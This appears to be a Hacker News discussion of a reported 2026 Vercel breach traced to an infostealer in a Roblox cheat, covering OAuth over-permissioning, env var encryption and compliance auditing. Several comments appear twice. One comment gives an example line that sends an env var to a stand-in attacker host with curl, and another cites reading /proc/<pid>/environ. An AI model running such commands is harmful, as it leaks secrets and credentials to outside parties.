If I have to make a guess, it wasn't just any Google Workspace app but Gmail. The attacker gained broad access to the victim's inbox. They where then able to login into some internal systems using magic links or one-time codes.
It begs the question why there is no 2FA? And why did they had such a broad access to being with?
If this is not case, the only other option I can muster is perhaps API credentials but stored in google workspaces? It is possible but odd.
I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
> Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless)
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
You always get people screaming about 'it should have been encrypted!' when there's a leak without understanding what encryption can and can't do in principle and in practice (it most certainly isn't a synonym for 'secure' or 'safe').
Also if you want to keep a secret a secret forever, encrypted but saved data may be easily decrypted in the future. Most secrets though in reality are less useful in X years time.
Where I work we started using Vault and you store the vault key (as in looup key) in as a regular non-hidden env var. I think this is probably more solid.
Yeah, the Vault model, where you just refer to the secret’s path (where it is hopefully also dynamically generated and revoked after use), based on short-lived OIDC-style auth, is about the safest mechanism possible for this sort of secrets management. I’ve been trying to spread this pattern everywhere I’ve worked for a decade now. But it’s a lot of work to set up and maintain.
But if they are readable to the “developer” then they are readable to anyone who gets access to the developer’s Vercel credentials. If Vercel provides a way to avoid that that didn’t get used, that’s the failure. Sure, you can quibble with the exact understanding of the author over whether they were “encrypted” or not. That’s not really the key factor here.
I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee mistake to a defense in depth failure that's on the whole company and management, but installing a cheat...
* Do we actually know the employee downloaded it on their work machine? At least this article doesn't say that. Plenty of companies allow you to VPN into corporate network, or log into certain internal systems from the public Internet. Not saying they should, but it is much more common than you think.
* For reference, look at how Disney got hacked. One employee downloaded compromised software on a personal computer. One thing led to another and bang. IT in many companies are much more incompetent than you think. I have seen that first hand.
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
Or how it is possible to grant broad permissions to their Google workspace account. That doesn't happen where I work. Only a handful of approved applications can connect.
That’s one among a dozen factors at play here. Yes that’s bad, but also the security of other systems should never depend on your work laptop never getting hacked or having spyware installed. If that’s the only defense, you’re going to have problems.
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
Any security team that gives unrestricted admin privileges to random employees is not a security team. So doing the most basic parts of their job, that would be my proposal.
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
Keepass has an option to "encrypt in memory" certain passwords, sensitive information.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
I had to stop reading. I have become overly sensitive to LLMisms. This is definitely "ChatGPT, read this article and rewrite it in a casual tone" with little to no actual authorship. On HN we should try to get primary sources for this sort of thing.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
That article you linked to didn't mention that Context.ai, from where this mess originated, is a YCombinator company. Most probably its founders are on this very web-forum.
It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
Of course it will be new normal. Even worse in few years you will be writing yourself AI-like prose cause of all of that AI written article and news that you read, will cause silently for you to adopt that style. In few more years barely anybody will be able to write coherent statements themselves without help of LLM :)
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
> How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
But the encrypted API key doesn't work, it needs to be decrypted first. Let's give the server access to the private key so it can decrypt the API key. We can do this by putting the private key in an env var. But now the private key is unencrypted. Ah, it doesn't work.
Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
I don't see storing non-sensitive environment variables unencrypted as the main issue here. Sure at vercels scale, encryption at rest for any data would add some better baseline, but i see this article as two major user interface fails more than anything else. Oauth dialogs are just pathetic, they are years behind what is required and what UX research knows how to do things, none of the companies invested any amount of resources into it after it just worked well enough not to make most users churn. The env var problem is also ridiculous, you can only update, not see and check values in the interface if they are encrypted for most providers i know, that leads to really annoying UX and is the reason they are not marked as sensitive by default and opt out. Even if you could unlock them to edit, no one will enter their password again as that is too much hassle, meaning we need a way to read and edit encrypted env vars in the interface where they are created but not have more in the way than a passkey dialog. Its doable but afaik no provider would go the extra mile to get to this UX.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
Odd, they used Delve [0] and a SOC2 compliant company like Context.ai [1] should have an AUP, EDR, etc. that prevents their employees from installing a Roblox cheat on their work computer. Heck, even outside SOC2, I have never worked at a company without endpoint restrictions to prevent unauthorised installs.
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
It's still showing a time in the future, which only makes sense if there is some kind of error with the server time or some kind of weird timezone conversion gone wrong
I can see how this happened: the employee was home, his kid wanted to play some roblox, he installed roblox and gave the kid the laptop, the kid decided to install the cheat.
> February 2026. An employee at Context.ai, one of those AI productivity tools that promises to "supercharge your workflow," downloads a Roblox cheat.
The cheat contains an infostealer.
> March 2026. The attacker uses Context.ai's compromised infrastructure to pivot into a Vercel employee's Google Workspace account. This Vercel employee had signed up for Context.ai's "AI Office Suite" using their enterprise credentials and granted "Allow All" permissions. Let that sink in for a second. A Vercel engineer gave a third-party AI tool full access to their corporate Google account.
I swear this AI 'boom' is melting people's brains and zombifying them like Toxoplasma gondii[1] does to rodents, making them do risky things that ultimately get them eaten (or hacked...).
According to the email I got from Vercel it was a limited subset of customers and I'm not one:
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
This. From simple personal choices to the marker economy and politics. With games we're introduced to cheat codes pretty early in our lives. Some people outgrow them, some don't. Too bad our systems encourage their use, whether it's a time-to-market thing, cutting costs, or the next election.
It begs the question why there is no 2FA? And why did they had such a broad access to being with?
If this is not case, the only other option I can muster is perhaps API credentials but stored in google workspaces? It is possible but odd.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
Oops - you said the opposite of what I read, my mistake.
PoC or GTFO.
I think you'll find it's a bit harder to do than you expect.
* For reference, look at how Disney got hacked. One employee downloaded compromised software on a personal computer. One thing led to another and bang. IT in many companies are much more incompetent than you think. I have seen that first hand.
One for which the Context.ai employee needs to have their arse booted up and down the car park for.
You can blame individuals, but security is a property of the system.
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
Do you want to let any applicant be screened by the security team?
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
Piping to /dev/null is of course pointless.
What you really want is the /dev/null as a Service Enterprise plan for $500/month with its High Availability devnull Cluster ;)
https://devnull-as-a-service.com/pricing/
(And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)
Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.
So I believe the author has exposure to the issue and interest in understanding it, that’s more than AI alone has got.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
Feels like the employee pulled a LastPass Plex move.
It’s not a competitive platform like say WoW or overwatch; nobody is really there to win and there are zero stakes if you do or don’t.
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
Failed to verify your browser Code 11 Vercel Security Checkpoint, arn1::1776759703-rtDgRAtRyXvjD4IoU4RbqvkGmvQQCP7H
Gah.
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
[0] https://web.archive.org/web/20250918025724/https://trust.del...
[1] https://web.archive.org/web/20260217220817/https://www.conte...
The cheat contains an infostealer.
> March 2026. The attacker uses Context.ai's compromised infrastructure to pivot into a Vercel employee's Google Workspace account. This Vercel employee had signed up for Context.ai's "AI Office Suite" using their enterprise credentials and granted "Allow All" permissions. Let that sink in for a second. A Vercel engineer gave a third-party AI tool full access to their corporate Google account.
I swear this AI 'boom' is melting people's brains and zombifying them like Toxoplasma gondii[1] does to rodents, making them do risky things that ultimately get them eaten (or hacked...).
[1] https://en.wikipedia.org/wiki/Toxoplasma_gondii
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
Tools that sit in the middle (like Context.ai) end up becoming a pretty large attack surface without feeling like one.
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
Vercel April 2026 security incident
https://news.ycombinator.com/item?id=47824463